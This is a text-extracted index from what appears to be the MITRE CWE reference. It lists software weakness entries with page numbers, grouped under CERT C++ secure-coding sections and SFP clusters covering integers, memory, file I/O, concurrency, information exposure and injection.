- C** CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT) (p.1843)
  - B** CWE-129: Improper Validation of Array Index (p.312)
  - B** CWE-190: Integer Overflow or Wraparound (p.436)
  - V** CWE-192: Integer Coercion Error (p.445)
  - B** CWE-197: Numeric Truncation Error (p.461)
  - G** CWE-20: Improper Input Validation (p.19)
  - B** CWE-369: Divide By Zero (p.816)
  - B** CWE-466: Return of Pointer Value Outside of Expected Range (p.986)
  - B** CWE-587: Assignment of a Fixed Address to a Pointer (p.1173)
  - B** CWE-606: Unchecked Input for Loop Condition (p.1204)
  - B** CWE-676: Use of Potentially Dangerous Function (p.1314)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1319)
  - |P|** CWE-682: Incorrect Calculation (p.1322)
- C** CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP) (p.1843)
  - B** CWE-369: Divide By Zero (p.816)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1319)
  - |P|** CWE-682: Incorrect Calculation (p.1322)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1331)
- C** CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR) (p.1844)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.271)
  - B** CWE-129: Improper Validation of Array Index (p.312)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p.988)
  - B** CWE-469: Use of Pointer Subtraction to Determine Size (p.992)
  - G** CWE-665: Improper Initialization (p.1290)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p.1493)
- C** CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR) (p.1844)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.271)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.280)
  - B** CWE-170: Improper Null Termination (p.395)
  - B** CWE-193: Off-by-one Error (p.448)
  - B** CWE-464: Addition of Data Structure Sentinel (p.984)
  - V** CWE-686: Function Call With Incorrect Argument Type (p.1331)
  - G** CWE-704: Incorrect Type Conversion or Cast (p.1354)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.180)
- C** CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM) (p.1845)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.271)
  - B** CWE-128: Wrap-around Error (p.309)
  - B** CWE-131: Incorrect Calculation of Buffer Size (p.324)
  - B** CWE-190: Integer Overflow or Wraparound (p.436)
  - G** CWE-20: Improper Input Validation (p.19)
  - B** CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse (p.516)
  - V** CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.539)
  - B** CWE-252: Unchecked Return Value (p.552)

- B CWE-391: Unchecked Error Condition (p.848)
- G CWE-404: Improper Resource Shutdown or Release (p.876)
- V CWE-415: Double Free (p.899)
- V CWE-416: Use After Free (p.902)
- B CWE-476: NULL Pointer Dereference (p.1007)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1098)
- V CWE-590: Free of Memory not on the Heap (p.1177)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1180)
- G CWE-665: Improper Initialization (p.1290)
- V CWE-687: Function Call With Incorrectly Specified Argument Value (p.1332)
- B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1336)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1352)
- G CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1378)
- V CWE-762: Mismatched Memory Management Routines (p.1402)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1418)
- B CWE-822: Untrusted Pointer Dereference (p.1511)
- C CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO) (p.1846)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.271)
- B CWE-134: Use of Externally-Controlled Format String (p.334)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.31)
- B CWE-241: Improper Handling of Unexpected Data Type (p.533)
- B CWE-276: Incorrect Default Permissions (p.605)
- V CWE-279: Incorrect Execution-Assigned Permissions (p.610)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.791)
- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.810)
- V CWE-37: Path Traversal: '/absolute/pathname/here' (p.73)
- B CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.832)
- V CWE-38: Path Traversal: '\absolute\pathname\here' (p.75)
- V CWE-39: Path Traversal: 'C:\dirname' (p.76)
- B CWE-391: Unchecked Error Condition (p.848)
- B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.874)
- G CWE-404: Improper Resource Shutdown or Release (p.876)
- B CWE-41: Improper Resolution of Path Equivalence (p.80)
- B CWE-552: Files or Directories Accessible to External Parties (p.1123)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.105)
- V CWE-62: UNIX Hard Link (p.112)
- V CWE-64: Windows Shortcut Following (.LNK) (p.114)
- V CWE-65: Windows Hard Link (p.116)
- V CWE-67: Improper Handling of Windows Device Names (p.119)
- G CWE-675: Duplicate Operations on Resource (p.1313)
- B CWE-676: Use of Potentially Dangerous Function (p.1314)
- B CWE-73: External Control of File Name or Path (p.125)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1363)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1418)
- C CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV) (p.1847)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.271)
- B CWE-426: Untrusted Search Path (p.916)
- B CWE-462: Duplicate Key in Associative List (Alist) (p.981)
- G CWE-705: Incorrect Control Flow Scoping (p.1355)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1503)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.180)

- C CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG) (p.1847)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1019)
  - G CWE-662: Improper Synchronization (p.1285)
- C CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR) (p.1848)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
  - B CWE-390: Detection of Error Condition Without Action (p.844)
  - B CWE-391: Unchecked Error Condition (p.848)
  - B CWE-460: Improper Cleanup on Thrown Exception (p.979)
  - B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1060)
  - B CWE-544: Missing Standardized Error Handling Mechanism (p.1115)
  - P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1352)
  - G CWE-705: Incorrect Control Flow Scoping (p.1355)
  - G CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1378)
  - G CWE-755: Improper Handling of Exceptional Conditions (p.1386)
- C CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP) (p.1849)
- C CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON) (p.1849)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.791)
  - B CWE-366: Race Condition within a Thread (p.808)
  - G CWE-404: Improper Resource Shutdown or Release (p.876)
  - B CWE-488: Exposure of Data Element to Wrong Session (p.1038)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1428)
- C CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC) (p.1849)
  - G CWE-116: Improper Encoding or Escaping of Output (p.259)
  - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
  - V CWE-176: Improper Handling of Unicode Encoding (p.406)
  - G CWE-20: Improper Input Validation (p.19)
  - G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.719)
  - G CWE-330: Use of Insufficiently Random Values (p.729)
  - B CWE-480: Use of Incorrect Operator (p.1021)
  - V CWE-482: Comparing instead of Assigning (p.1027)
  - B CWE-561: Dead Code (p.1131)
  - V CWE-563: Assignment to Variable without Use (p.1135)
  - B CWE-570: Expression is Always False (p.1145)
  - B CWE-571: Expression is Always True (p.1148)
  - P CWE-697: Incorrect Comparison (p.1346)
  - G CWE-704: Incorrect Type Conversion or Cast (p.1354)

- B CWE-474: Use of Function with Inconsistent Implementations (p.1004)
- B CWE-477: Use of Obsolete Function (p.1013)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1019)
- V CWE-558: Use of getlogin() in Multithreaded Application (p.1128)
- V CWE-572: Call to Thread run() instead of start() (p.1150)
- C CWE-573: Improper Following of Specification by Caller (p.1151)
- V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p.1152)
- V CWE-575: EJB Bad Practices: Use of AWT Swing (p.1154)
- V CWE-576: EJB Bad Practices: Use of Java I/O (p.1156)
- V CWE-577: EJB Bad Practices: Use of Sockets (p.1158)
- V CWE-578: EJB Bad Practices: Use of Class Loader (p.1160)
- V CWE-586: Explicit Call to Finalize() (p.1172)
- V CWE-589: Call to Non-ubiquitous API (p.1176)
- B CWE-617: Reachable Assertion (p.1221)
- B CWE-676: Use of Potentially Dangerous Function (p.1314)
- C CWE-684: Incorrect Provision of Specified Functionality (p.1328)
- B CWE-695: Use of Low-Level Functionality (p.1344)
- C CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1390)
- C CWE-889: SFP Primary Cluster: Exception Management (p.1851)
- C CWE-960: SFP Secondary Cluster: Ambiguous Exception Type (p.1867)
- B CWE-396: Declaration of Catch for Generic Exception (p.858)
- B CWE-397: Declaration of Throws for Generic Exception (p.860)
- C CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior (p.1868)
- B CWE-392: Missing Report of Error Condition (p.851)
- B CWE-393: Return of Wrong Status Code (p.853)
- B CWE-455: Non-exit on Failed Initialization (p.968)
- B CWE-460: Improper Cleanup on Thrown Exception (p.979)
- B CWE-544: Missing Standardized Error Handling Mechanism (p.1115)
- B CWE-584: Return Inside Finally Block (p.1169)
- C CWE-636: Not Failing Securely ('Failing Open') (p.1242)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1352)
- C CWE-962: SFP Secondary Cluster: Unchecked Status Condition (p.1868)
- B CWE-248: Uncaught Exception (p.544)
- B CWE-252: Unchecked Return Value (p.552)
- B CWE-253: Incorrect Check of Function Return Value (p.559)
- B CWE-273: Improper Check for Dropped Privileges (p.600)
- B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.612)
- B CWE-372: Incomplete Internal State Distinction (p.821)
- B CWE-390: Detection of Error Condition Without Action (p.844)
- B CWE-391: Unchecked Error Condition (p.848)
- B CWE-394: Unexpected Status Code or Return Value (p.854)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.856)
- B CWE-431: Missing Handler (p.929)
- B CWE-478: Missing Default Case in Switch Statement (p.1016)
- B CWE-484: Omitted Break Statement in Switch (p.1032)
- B CWE-600: Uncaught Exception in Servlet (p.1191)
- C CWE-665: Improper Initialization (p.1290)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1378)
- C CWE-755: Improper Handling of Exceptional Conditions (p.1386)
- C CWE-890: SFP Primary Cluster: Memory Access (p.1851)
- C CWE-970: SFP Secondary Cluster: Faulty Buffer Access (p.1873)
- C CWE-118: Incorrect Access of Indexable Resource ('Range Error') (p.270)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.280)
- V CWE-121: Stack-based Buffer Overflow (p.289)

- V CWE-122: Heap-based Buffer Overflow (p.292)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p.298)
- V CWE-126: Buffer Over-read (p.305)
- V CWE-127: Buffer Under-read (p.308)
- C CWE-971: SFP Secondary Cluster: Faulty Pointer Use (p.1873)
  - V CWE-416: Use After Free (p.902)
  - B CWE-476: NULL Pointer Dereference (p.1007)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1175)
- C CWE-972: SFP Secondary Cluster: Faulty String Expansion (p.1874)
  - V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p.1455)
- C CWE-973: SFP Secondary Cluster: Improper NULL Termination (p.1874)
  - B CWE-170: Improper Null Termination (p.395)
- C CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation (p.1874)
  - B CWE-131: Incorrect Calculation of Buffer Size (p.324)
  - B CWE-135: Incorrect Calculation of Multi-Byte String Length (p.339)
  - C CWE-251: Often Misused: String Management (p.1783)
  - V CWE-467: Use of sizeof() on a Pointer Type (p.988)
- C CWE-891: SFP Primary Cluster: Memory Management
  - C CWE-969: SFP Secondary Cluster: Faulty Memory Release (p.1872)
    - V CWE-415: Double Free (p.899)
    - V CWE-590: Free of Memory not on the Heap (p.1177)
    - V CWE-761: Free of Pointer not at Start of Buffer (p.1398)
    - V CWE-762: Mismatched Memory Management Routines (p.1402)
    - B CWE-763: Release of Invalid Pointer or Reference (p.1405)
- C CWE-892: SFP Primary Cluster: Resource Management
  - C CWE-982: SFP Secondary Cluster: Failure to Release Resource (p.1878)
    - V CWE-401: Missing Release of Memory after Effective Lifetime (p.870)
    - G CWE-404: Improper Resource Shutdown or Release (p.876)
    - B CWE-459: Incomplete Cleanup (p.976)
  - C CWE-983: SFP Secondary Cluster: Faulty Resource Use (p.1879)
    - G CWE-672: Operation on a Resource after Expiration or Release (p.1307)
  - C CWE-984: SFP Secondary Cluster: Life Cycle (p.1879)
    - P CWE-664: Improper Control of a Resource Through its Lifetime (p.1288)
    - G CWE-666: Operation on Resource in Wrong Phase of Lifetime (p.1295)
    - G CWE-675: Duplicate Operations on Resource (p.1313)
    - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p.1343)
  - C CWE-985: SFP Secondary Cluster: Unrestricted Consumption (p.1879)
    - G CWE-400: Uncontrolled Resource Consumption (p.862)
    - G CWE-674: Uncontrolled Recursion (p.1311)
    - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1418)
    - V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p.1434)
- C CWE-893: SFP Primary Cluster: Path Resolution
  - C CWE-979: SFP Secondary Cluster: Failed Chroot Jail (p.1876)
    - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.537)
  - C CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution (p.1877)
    - B CWE-386: Symbolic Name not Mapping to Correct Object (p.842)
    - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.105)
    - G CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1210)
    - V CWE-62: UNIX Hard Link (p.112)
    - V CWE-64: Windows Shortcut Following (.LNK) (p.114)
    - V CWE-65: Windows Hard Link (p.116)
- C CWE-981: SFP Secondary Cluster: Path Traversal (p.1877)
  - B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.31)
  - B CWE-23: Relative Path Traversal (p.42)
  - V CWE-24: Path Traversal: '..filedir' (p.48)

- CWE-25: Path Traversal: '././filedir' (p.49)
- CWE-26: Path Traversal: '/dir/./filename' (p.51)
- CWE-27: Path Traversal: 'dir/././filename' (p.52)
- CWE-28: Path Traversal: '..filedir' (p.54)
- CWE-29: Path Traversal: '\.filename' (p.56)
- CWE-30: Path Traversal: 'dir\.\filename' (p.58)
- CWE-31: Path Traversal: 'dir\.\.\filename' (p.59)
- CWE-32: Path Traversal: '...' (Triple Dot) (p.61)
- CWE-33: Path Traversal: '...' (Multiple Dot) (p.63)
- CWE-34: Path Traversal: '.../' (p.65)
- CWE-35: Path Traversal: '.../.../' (p.67)
- CWE-36: Absolute Path Traversal (p.69)
- CWE-37: Path Traversal: '/absolute/pathname/here' (p.73)
- CWE-38: Path Traversal: '\absolute\pathname\here' (p.75)
- CWE-39: Path Traversal: 'C:dirname' (p.76)
- CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) (p.79)
- CWE-41: Improper Resolution of Path Equivalence (p.80)
- CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p.86)
- CWE-428: Unquoted Search Path or Element (p.925)
- CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p.87)
- CWE-44: Path Equivalence: 'file.name' (Internal Dot) (p.88)
- CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) (p.89)
- CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p.90)
- CWE-47: Path Equivalence: ' filename' (Leading Space) (p.91)
- CWE-48: Path Equivalence: 'file name' (Internal Whitespace) (p.92)
- CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p.93)
- CWE-50: Path Equivalence: '//multiple/leading/slash' (p.94)
- CWE-51: Path Equivalence: '/multiple//internal/slash' (p.96)
- CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p.97)
- CWE-53: Path Equivalence: '\multiple\internal\backslash' (p.98)
- CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p.99)
- CWE-55: Path Equivalence: './.' (Single Dot Directory) (p.100)
- CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p.101)
- CWE-57: Path Equivalence: 'fakedir/./readdir/filename' (p.102)
- CWE-58: Path Equivalence: Windows 8.3 Filename (p.103)
- CWE-66: Improper Handling of File Names that Identify Virtual Resources (p.117)
- CWE-67: Improper Handling of Windows Device Names (p.119)
- CWE-706: Use of Incorrectly-Resolved Name or Reference (p.1357)
- CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p.123)
- CWE-73: External Control of File Name or Path (p.125)
- **C** CWE-894: SFP Primary Cluster: Synchronization (p.1852)
- **C** CWE-986: SFP Secondary Cluster: Missing Lock (p.1880)
  - CWE-364: Signal Handler Race Condition (p.801)
  - CWE-365: Race Condition in Switch (p.806)
  - CWE-366: Race Condition within a Thread (p.808)
  - CWE-368: Context Switching Race Condition (p.814)
  - CWE-413: Improper Resource Locking (p.894)
  - CWE-414: Missing Lock Check (p.898)
  - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1113)
  - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1142)
  - CWE-609: Double-Checked Locking (p.1208)
  - CWE-662: Improper Synchronization (p.1285)
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1287)
  - CWE-667: Improper Locking (p.1296)

- C CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks (p.1880)
  - B CWE-585: Empty Synchronized Block (p.1170)
  - B CWE-764: Multiple Locks of a Critical Resource (p.1409)
  - B CWE-765: Multiple Unlocks of a Critical Resource (p.1411)
- C CWE-988: SFP Secondary Cluster: Race Condition Window (p.1880)
  - G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.791)
  - B CWE-363: Race Condition Enabling Link Following (p.799)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.810)
  - V CWE-370: Missing Check for Certificate Revocation after Initial Check (p.819)
  - G CWE-638: Not Using Complete Mediation (p.1246)
- C CWE-989: SFP Secondary Cluster: Unrestricted Lock (p.1881)
  - B CWE-412: Unrestricted Externally Accessible Lock (p.892)
- C CWE-895: SFP Primary Cluster: Information Leak (p.1853)
  - C CWE-963: SFP Secondary Cluster: Exposed Data (p.1869)
    - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
    - B CWE-117: Improper Output Neutralization for Logs (p.266)
    - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p.11)
    - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
    - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
    - G CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.465)
    - B CWE-201: Exposure of Sensitive Information Through Sent Data (p.473)
    - B CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
    - B CWE-210: Self-generated Error Message Containing Sensitive Information (p.496)
    - B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.497)
    - B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.500)
    - B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.503)
    - B CWE-214: Invocation of Process Using Visible Sensitive Information (p.504)
    - B CWE-215: Insertion of Sensitive Information Into Debugging Code (p.506)
    - V CWE-219: Storage of File with Sensitive Data Under Web Root (p.508)
    - V CWE-220: Storage of File With Sensitive Data Under FTP Root (p.510)
    - B CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse (p.516)
    - V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.539)
    - B CWE-256: Unprotected Storage of Credentials (p.561)
    - B CWE-257: Storing Passwords in a Recoverable Format (p.563)
    - B CWE-260: Password in Configuration File (p.572)
    - G CWE-311: Missing Encryption of Sensitive Data (p.685)
    - B CWE-312: Cleartext Storage of Sensitive Information (p.691)
    - V CWE-313: Cleartext Storage in a File or on Disk (p.695)
    - V CWE-314: Cleartext Storage in the Registry (p.697)
    - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.698)
    - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.700)
    - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.701)
    - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.703)
    - B CWE-319: Cleartext Transmission of Sensitive Information (p.704)
    - B CWE-374: Passing Mutable Objects to an Untrusted Method (p.822)
    - B CWE-375: Returning a Mutable Object to an Untrusted Caller (p.825)
    - G CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p.873)
    - B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.874)
    - V CWE-433: Unparsed Raw Web Content Delivery (p.932)
    - V CWE-495: Private Data Structure Returned From A Public Method (p.1057)
    - B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1060)
    - V CWE-498: Cloneable Class Containing Sensitive Information (p.1063)
    - V CWE-499: Serializable Class Containing Sensitive Data (p.1065)

-  CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p.1)
-  CWE-501: Trust Boundary Violation (p.1069)
-  CWE-522: Insufficiently Protected Credentials (p.1089)
-  CWE-523: Unprotected Transport of Credentials (p.1093)
-  CWE-526: Exposure of Sensitive Information Through Environmental Variables (p.1097)
-  CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere (p.1097)
-  CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1098)
-  CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p.1099)
-  CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p.1100)
-  CWE-532: Insertion of Sensitive Information into Log File (p.1102)
-  CWE-535: Exposure of Information Through Shell Error Message (p.1105)
-  CWE-536: Servlet Runtime Error Message Containing Sensitive Information (p.1106)
-  CWE-537: Java Runtime Error Message Containing Sensitive Information (p.1107)
-  CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory (p.1109)
-  CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1110)
-  CWE-540: Inclusion of Sensitive Information in Source Code (p.1111)
-  CWE-541: Inclusion of Sensitive Information in an Include File (p.1112)
-  CWE-546: Suspicious Comment (p.1116)
-  CWE-548: Exposure of Information Through Directory Listing (p.1119)
-  CWE-550: Server-generated Error Message Containing Sensitive Information (p.1121)
-  CWE-552: Files or Directories Accessible to External Parties (p.1123)
-  CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p.1126)
-  CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1180)
-  CWE-598: Use of GET Request Method With Sensitive Query Strings (p.1188)
-  CWE-607: Public Static Final Field References Mutable Object (p.1206)
-  CWE-612: Improper Authorization of Index Containing Sensitive Information (p.1214)
-  CWE-615: Inclusion of Sensitive Information in Source Code Comments (p.1218)
-  CWE-642: External Control of Critical State Data (p.1254)
-  CWE-668: Exposure of Resource to Wrong Sphere (p.1301)
-  CWE-669: Incorrect Resource Transfer Between Spheres (p.1303)
-  CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p.4)
-  CWE-756: Missing Custom Error Page (p.1387)
-  CWE-767: Access to Critical Private Variable via Public Method (p.1415)
-  CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p.6)
-  CWE-964: SFP Secondary Cluster: Exposure Temporary File (p.1871)
-  CWE-377: Insecure Temporary File (p.827)
-  CWE-378: Creation of Temporary File With Insecure Permissions (p.830)
-  CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.832)
-  CWE-965: SFP Secondary Cluster: Insecure Session Management (p.1871)
-  CWE-488: Exposure of Data Element to Wrong Session (p.1038)
-  CWE-524: Use of Cache Containing Sensitive Information (p.1094)
-  CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
-  CWE-966: SFP Secondary Cluster: Other Exposures (p.1871)
-  CWE-453: Insecure Default Variable Initialization (p.964)
-  CWE-487: Reliance on Package-level Scope (p.1036)
-  CWE-492: Use of Inner Class Containing Sensitive Data (p.1044)
-  CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1095)
-  CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p.1217)
-  CWE-651: Exposure of WSDL File Containing Sensitive Information (p.1273)
-  CWE-967: SFP Secondary Cluster: State Disclosure (p.1872)
-  CWE-202: Exposure of Sensitive Information Through Data Queries (p.476)
-  CWE-203: Observable Discrepancy (p.477)
-  CWE-204: Observable Response Discrepancy (p.481)
-  CWE-205: Observable Behavioral Discrepancy (p.484)

- V CWE-206: Observable Internal Behavioral Discrepancy (p.485)
- V CWE-207: Observable Behavioral Discrepancy With Equivalent Products (p.486)
- B CWE-208: Observable Timing Discrepancy (p.488)

- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 209)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 213)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 216)
- C CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p. 1620)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 1260)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1275)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 186)
- V CWE-564: SQL Injection: Hibernate (p. 1137)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 197)
- C CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 224)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p. 1253)
- B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1343)
- V CWE-102: Struts: Duplicate Validation Forms (p. 227)
- B CWE-462: Duplicate Key in Associative List (Alist) (p. 981)
- B CWE-914: Improper Control of Dynamically-Identified Variables (p. 1585)
- B CWE-621: Variable Extraction Error (p. 1228)
- B CWE-627: Dynamic Variable Evaluation (p. 1238)
- P CWE-710: Improper Adherence to Coding Standards (p. 1362)
- B CWE-1041: Use of Redundant Code (p. 1639)
- B CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p. 1642)
- B CWE-1048: Invokable Control Element with Large Number of Outward Calls (p. 1646)
- C CWE-1059: Incomplete Documentation (p. 1657)
- B CWE-1053: Missing Documentation for Design (p. 1651)
- B CWE-1110: Incomplete Design Documentation (p. 1703)

- B CWE-1111: Incomplete I/O Documentation (p.1704)
- B CWE-1112: Incomplete Documentation of Program Execution (p.1705)
- B CWE-1118: Insufficient Documentation of Error Handling Techniques (p.1709)
- C CWE-1061: Insufficient Encapsulation (p.1659)
  - B CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1652)
  - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1655)
  - B CWE-1062: Parent Class with References to Child Class (p.1659)
  - B CWE-1083: Data Access from Outside Expected Data Manager Component (p.1679)
  - B CWE-1090: Method Containing Access of a Member Element from Another Class (p.1686)
  - B CWE-1100: Insufficient Isolation of System-Dependent Functions (p.1695)
  - B CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality (p.1699)
    - B CWE-188: Reliance on Data/Memory Layout (p.434)
    - B CWE-198: Use of Incorrect Byte Ordering (p.464)
  - V CWE-766: Critical Data Element Declared Public (p.1412)
- B CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p.1662)
- B CWE-1066: Missing Serialization Control Element (p.1663)
- B CWE-1068: Inconsistency Between Implementation and Documented Design (p.1665)
- V CWE-107: Struts: Unused Validation Form (p.239)
- B CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p.1667)
- C CWE-1076: Insufficient Adherence to Expected Conventions (p.1673)
  - V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1643)
  - C CWE-1078: Inappropriate Source Code Style or Formatting (p.1675)
    - B CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p.1681)
    - B CWE-1099: Inconsistent Naming Conventions for Identifiers (p.1694)
    - B CWE-1106: Insufficient Use of Symbolic Constants (p.1700)
    - B CWE-1107: Insufficient Isolation of Symbolic Constant Definitions (p.1701)
    - B CWE-1109: Use of Same Variable for Multiple Purposes (p.1702)
    - B CWE-1113: Inappropriate Comment Style (p.1705)
    - B CWE-1114: Inappropriate Whitespace Style (p.1706)
    - B CWE-1115: Source Code Element without Standard Prologue (p.1707)
    - B CWE-1116: Inaccurate Comments (p.1707)
    - B CWE-1117: Callable with Insufficient Behavioral Summary (p.1708)
